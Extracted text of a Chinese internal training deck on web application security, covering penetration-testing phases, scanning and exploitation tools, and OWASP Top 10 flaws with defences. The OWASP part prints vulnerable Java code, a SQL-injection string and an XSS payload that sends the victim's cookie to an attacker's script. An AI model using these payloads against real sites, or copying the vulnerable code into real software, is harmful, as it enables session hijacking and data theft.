Web 应用安全概览v1.1_第1页
Web 应用安全概览v1.1_第2页
Web 应用安全概览v1.1_第3页
Web 应用安全概览v1.1_第4页
Web 应用安全概览v1.1_第5页
已阅读5页,还剩41页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

Web应用安全概览MX团队内部公开武汉安硕织信网络科技有限公司目录背景渗透测试Web应用安全Nessus漏洞扫描功能安全性测试实战演示背景根据中国互联网络信息中心2016年发布的“第37次中国互联网络发展状况统计报告

”,

2015年,42.7%的网民遭遇过网络安全问题。背景那企业呢?5月:俄国黑客盗取2.73亿邮箱信息以1美元价钱贩卖,其中包括

4000

万个雅虎邮箱、3300

万微软邮箱以及

2400

万个谷歌邮箱。6月:MySpace4.27

亿数据泄漏,或成互联网史上最大规模的密码泄露事件。应用程序安全风险

攻击者可以通过应用程序中许多不同的路径方法去危害您的业务或者企业组织。每种路径方法都代表了一种风险,这些风险可能会,也有可能不会严重到值得您去关注。这样的攻击每时每刻都在重演,如何规避?将链路核心漏洞堵死对系统的任何弱点、技术缺陷或漏洞进行主动分析,渗透测试当仁不让渗透测试定义渗透测试(PenetrationTesting

或者

PenTesting,

PT)没有一个标准的定义。国外一些安全组织达成共识的通用说法是,渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法。这个过程包括对系统的任何弱点、技术缺陷或洞的主动分析,这个分析是从一个攻击者可能存在的位置来进行的,并且从这个位置有条件主动利用安全漏洞,达到一定的控制权限。渗透测试是对用户信息安全措施积极评估的过程。通过系统化的操作和分析,积极发现系统和网络中存在的各种缺陷和弱点,如设计缺陷和技术缺陷。渗透测试方法渗透测试与其他评估方法不同。通常的评估方法是根据已知信息资源或其他被评估对象,去发现所有相关的安全问题。渗透测试是根据已知可利用的安全漏洞,去发现是否存在相应的信息资源。相比较而言,通常评估方法对评估结果更具有全面性,而渗透测试更注重安全漏洞的严重性。渗透测试阶段信息收集——兵马未动,粮草先行漏洞扫描——知己知彼,百战不殆漏洞利用——攻其不备,出其不意渗透测试——信息收集收集渗透目标的情报是最重要的阶段。如果收集到有用的情报资料的话,可以大大提高对渗透测试的成功性。收集渗透目标的情报一般是对目标系统的分析,扫描探测,服务查点,扫描对方漏洞,查找对方系统IP等,有时候渗透测试者也会用上“社会工程学”。渗透测试者会尽力搜集目标系统的配置与安全防御以及防火墙等等。其主要知识点如下:枚举服务;测试网络范围;识别活跃的主机和查看打开的端口;系统指纹识别;服务指纹识别;其他信息收集手段;使用Maltego收集信息;绘制网络图。渗透测试——信息收集枚举服务枚举是一类程序,它允许用户从一个网络中收集某一类的所有相关信息。DNS枚举可以收集本地所有DNS服务和相关条目。DNS枚举可以帮助用户收集目标组织的关键信息,如用户名、计算机名和IP地址等。常用工具主要有:DNS枚举工具DNSenum;DNS枚举工具fierce。渗透测试——信息收集测试网络范围测试网络范围内的IP地址或域名也是渗透测试的一个重要部分。通过测试网络范围内的IP地址或域名,确定是否有人入侵自己的网络中并损害系统。常用工具主要有:域名查询工具Dmitry:查询IP或域名WHOIS信息;跟踪路由工具Scapy。渗透测试——信息收集识别活跃的主机尝试渗透测试之前,必须先识别在这个目标网络内活跃的主机。常用工具主要有:网络映射器工具Nmap:

免费开放的网络扫描和嗅探工具包

。渗透测试——信息收集查看打开的端口对一个大范围的网络或活跃的主机进行渗透测试,必须要了解这些主机上所打开的端口号。常用工具主要有:TCP端口扫描工具Nmap;图形化TCP端口扫描工具Zenmap。渗透测试——信息收集系统指纹识别系统指纹信息包括目标主机打开的端口、MAC地址、操作系统类型和内核版本等。常用工具主要有:使用Nmap工具识别系统指纹信息;指纹识别工具p0f。渗透测试——信息收集服务指纹识别服务指纹信息包括服务端口、服务名和版本等。常用工具主要有:使用Nmap工具识别服务指纹信息;服务枚举工具Amap。渗透测试——信息收集其他信息收集手段Recon-NG框架:由Python编写的一个开源的Web侦查(信息收集)框架;搜索引擎工具Shodan:Shodan可以说是一款"黑暗"谷歌,一直不停的在寻找着所有和互联网连接的服务器、摄像头、打印机和路由器等。渗透测试——信息收集使用Maltego收集信息Maltego是一个开源的漏洞评估工具,它主要用于论证一个网络内单点故障的复杂性和严重性。该工具能够聚集来自内部和外部资源的信息,并且提供一个清晰的漏洞分析界面。渗透测试——信息收集绘制网络结构图CaseFile工具用来绘制网络结构图。使用该工具能快速添加和连接,并能以图形界面形式灵活的构建网络结构图。渗透测试——漏洞扫描漏洞扫描器是一种能够自动在计算机、信息系统、网络及应用软件中寻找和发现安全弱点的程序。它通过网络对目标系统进行探测,向目标系统发生数据,并将反馈数据与自带的漏洞特征库进行匹配,进而列举目标系统上存在的安全漏洞。漏洞扫描是保证系统和网络安全必不可少的手段,面对互联网入侵,如果用户能够根据具体的应用环境,尽可能早的通过网络扫描来发现安全漏洞,并及时采取适当的处理措施进行修补,就可以有效地阻止入侵事件的发生。漏洞扫描工作相对枯燥,所以我们可以借助一些便捷的工具来实施,如Nessus和OpenVAS。渗透测试——漏洞扫描NessusNessus号称是世界上最流行的漏洞扫描程序,全世界有超过75000个组织在使用它。该工具提供完整的电脑漏洞扫描服务,并随时更新其漏洞数据库。Nessus不同于传统的漏洞扫描软件,Nessus可同时在本机或远端上遥控,进行系统的漏洞分析扫描。OpenVASOpenVAS(开放式漏洞评估系统)是一个客户端/服务器架构,它常用来评估目标主机上的漏洞。OpenVAS是Nessus项目的一个分支,它提供的产品是完全地免费。渗透测试——漏洞利用漏洞利用阶段利用已获得的信息和各种攻击手段实施渗透。网络应用程序漏洞诊断项目的加密通信漏洞诊断是必须执行的。顾名思义,利用漏洞,达到攻击的目的。漏洞利用是获得系统控制权限的重要途径。用户从目标系统中找到容易攻击的漏洞,然后利用该漏洞获取权限,从而实现对目标系统的控制。Metasploit是一款开源的安全漏洞检测工具框架。它可以帮助用户识别安全问题,验证漏洞的缓解措施,并对某些软件进行安全性评估,提供真正的安全风险情报。渗透测试——

Kali

LinuxKaliLinux是基于Debian的Linux发行版,设计用于数字取证和渗透测试。KaliLinux预装了许多渗透测试软件,包括nmap(端口扫描器)、Wireshark(数据包分析器)、JohntheRipper(密码破解器),以及Aircrack-ng(一应用于对无线局域网进行渗透测试的软件)等。Web

应用安全OWASP(OpenWebApplicationSecurityProject,

开源web应用安全项目)每隔数年会更新10个最关键的Web应用安全问题清单,即OWASPTop10。Web

应用安全——

OWASPTop10Web

应用安全——

OWASPTop10Web漏洞——注入攻击案例:应用程序在下面存在漏洞的

SQL

语句的构造中使用不可信数据:Stringquery="SELECT*FROMaccountsWHEREcustID='"+request.getParameter("id")+"'";攻击者在浏览器中将“id”参数的值修改成:

'or'1'='1Web漏洞——

注入如何防止?防止注入漏洞需要将不可信数据从命令及查询中区分开。最佳选择是使用安全的API,完全避免使用解释器或供参数化界面的API。但要注意有些参数化的API,比如存储过程(storedprocedures),如果使用不当,仍然可以引入注入漏洞。如果没法使用一个参数化的API,那么你应该使用解释器具体的escape语法来避免特殊字符。OWASP的ESAPI就有一些escape例程。使用正面的或“白名单”的具有恰当的规范化的输入验证方法同样会有助于防止注入攻击。但由于很多应用在输入中需要特殊字符,这一方法不是完整的防护方法。OWASP的ESAPI中包含一个白名单输入验证例程的扩展库。Web漏洞——

失效的身份认证和会话管理攻击案例:案例1:应用程序超时设置不当。用户使用公共计算机访问网站。离开时,该用户没有点击退出,而是直接关闭浏览器。攻击者在一个小时后能使用相同浏览器通过身份认证。案例2:内部或外部攻击者进入系统的密码数据库.存储在数据库中的用户密码没有被加密,所有用户的密码都被攻击者获得。如何防止?对企业最主要的建议是让开发人员使用如下资源。一套单一的强大的认证和会话管理控制系统。企业同样也要做出巨大努力来避免跨站漏洞,因为这一漏洞可以用来盗窃用户会话ID。Web漏洞——

失效的身份认证和会话管理Web漏洞——跨站脚本(XSS)攻击案例:应用程序在下面HTML代码段的构造中使用未经验证或转义的不可信的数据:(String)page+="<inputname='creditcard'type='TEXT‘value='"+request.getParameter("CC")+"'>";攻击者在浏览器中修改“CC”参数为如下值:'><script>document.locakon='h\p://www.a\/cgi-bin/cookie.cgi?foo='+document.cookie</script>'这导致受害者的会话ID被发送到攻击者的网站,使得攻击者能够劫持用户当前会话。请注意攻击者同样能使用跨站脚本攻破应用程序可能使用的任何跨站请求伪造(CSRF)防御机制。Web漏洞——跨站脚本(XSS)如何防止?防止XSS需要将不可信数据与动态的浏览器内容区分开。最好的办法是根据数据将要置于的HTML上下文(包括主体、属性、JavaScript、CSS或URL)对所有的不可信数据进行恰当的转义(escape)。使用正面的或“白名单”的,具有恰当的规范化和解码功能的输入验证方法同样会有助于防止跨站脚本但由于很多应用程序在输入中需要特殊字符,这一方法不是完整的防护方法。这种验证方法需要尽可能地解码任何编码输入,同时在接受输入之前需要充分验证数据的长度、字符、格式、和任何商务规则。考虑使用内容安全策略(CSP)来抵御整个网站的跨站脚本攻击。Web漏洞——不安全的直接对象引用攻击案例:

应用程序在访问帐户信息的SQL调用中使用未验证数据:Stringquery="SELECT*FROMacctsWHEREaccount=?";PreparedStatementpstmt=conneckon.prepareStatement(query,...);pstmt.setString(1,request.getparameter("acct"));ResultSetresults=pstmt.executeQuery();攻击者能轻易在浏览器将“acct”参数修改成他所想要的任何账户号码。如果应用程序没有进行恰当的验证,攻击者就能访问任何用户的账户,而不仅仅是该目标用户的账户。Web漏洞——不安全的直接对象引用如何防止?要防止不安全的直接对象引用,需要选择一个适当的方法来保护每一个用户可访问的对象(如对象号码、文件名)。使用基于用户或者会话的间接对象引用。这样能防止攻击者直接攻击未授权资源。例如,一个下拉列表包含6个授权给当前用户的资源,它可以使用数字1-6来指示哪个是用户选择的值,而不是使用资源的数据库关键字来表示。在服务器端,应用程序需要将每个用户的间接引用映射到实际的数据库关键字。检查访问。任何来自不可信源的直接对象引用都必须通过访问控制检测,确保该用户对请求的对象有访问权限。Web漏洞——

安全配置错误攻击案例:案例1:应用程序服务器管理员控制台自动安装后没有被删除。而默认帐户也没有被改变。攻击者在你的服务器上发现了标准的管理员页面,通过默认密码登录,从而接管了你的服务器。案例2:目录列表在你的服务器上未被禁用。攻击者发现只需列出目录,她就可以找到你服务器上的任意文件。攻击者找到并下载所有已编译的Java类,她通过反编译获得了所有你的自定义代码。然后,她在你的应用程序中找到一个访问控制的严重漏洞。如何防止?主要的建议建立在以下几个方面:一个可以快速且易于部署在另一个锁定环境的可重复的加固过程。开发、质量保证和生产环境都应该配置相同(每个环境中使用不同的密码)。这个过程应该是自动化的,以尽量减少安装一个新安全环境的耗费。一个能及时了解并部署每个已部署环境的所有最新软件更新和补丁的过程。这需要包括通常被忽略的所有代码的库文件。一个能在组件之间供有效的分离和安全性的强大应用程序架构。实施漏洞扫和经常进行审计以帮助检测将来可能的错误配置或没有安装的补丁。Web漏洞——安全配置错误Web漏洞——

敏感信息泄露攻击案例:案例1:一个应用程序加密存储在数据库的信用卡信息,以防止信用卡信息暴露给最终用户。但是,数据库设置为对信用卡表列的查询进行自动解密,这就使得SQL注入漏洞能够获得所有信用卡信息的明文。该系统应该被设置为前端应用程序使用公钥对信用卡信息加密,后端应用程序只能使用私钥解密。案例2:一个网站上所有需要身份验证的网页都没有使用SSL。攻击者只需监控网络数据流(比如一个开放的无线网络或其社区的有线网络),并窃取一个已验证的受害者的会话cookie。然后,攻击者利用这个cookie执行重放攻击并接管用户的会话从而访问用户的隐私数据。如何防止?有关使用不安全的加密算法、SSL使用和数据保护的风险超出了Top10的范围。尽管如此,对一些需要加密的敏感数据,应该起码做到以下几点:预测一些威胁(比如内部攻击和外部用户),加密这些数据的存储以确保免受这些威胁。对于没必要存放的、重要的敏感数据,应当尽快清除。确保使用了合适的强大的标准算法和强大的密匙,并且密匙管理到位。确保使用密码专用算法存储密码,如:bcrypt、PBKDF2或者scrypt。禁用自动完成防止敏感数据收集,禁用包含敏感数据的缓存页面。Web漏洞——敏感信息泄露Web漏洞——功能级访问控制缺失攻击案例:攻击者仅仅直接浏览目标网址。例如下面的两个网址都需要身份验证,而且访问“admin_getappInfo”页面还需要管理员权限。http:///app/getappInfohttp:///app/admin_getappInfo如果未认证的用户可以访问上述任一页面,这就是漏洞。如果通过验证的非管理员用户也能允许访问“admin_getappInfo”页面,这同样是个漏洞。Web漏洞——功能级访问控制缺失如何防止?您的应用程序应该使用一致的和易于分析的授权模块,并能在所有的业务功能中调用该模块。通常是,由一个或多个外部组件向应用代码内部供这种保护。考虑一下管理权利的过程并确保能够容易的进行升级和审计。切忌硬编码。执行机制在缺省情况下,应该拒绝所有访问。对于每个功能的访问,需要明确授予特定角色的访问权限。如果某功能参与了工作流程,检查并确保当前的条件是授权访问此功能的合适状态。Nessus漏洞扫描—检测范围操作系统漏洞检测

对Windows、Solaris、AIX、Linux、SCO、SGI等操作系统本身进行漏洞检测;数据库漏洞检测

对MS-SQL、Oracle、MySQL、Informix、Sybase、DB2、Access等数据库进行漏洞检测;应用系统漏洞检测

对渗透目标提供的各种应用,如ASP、CG

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论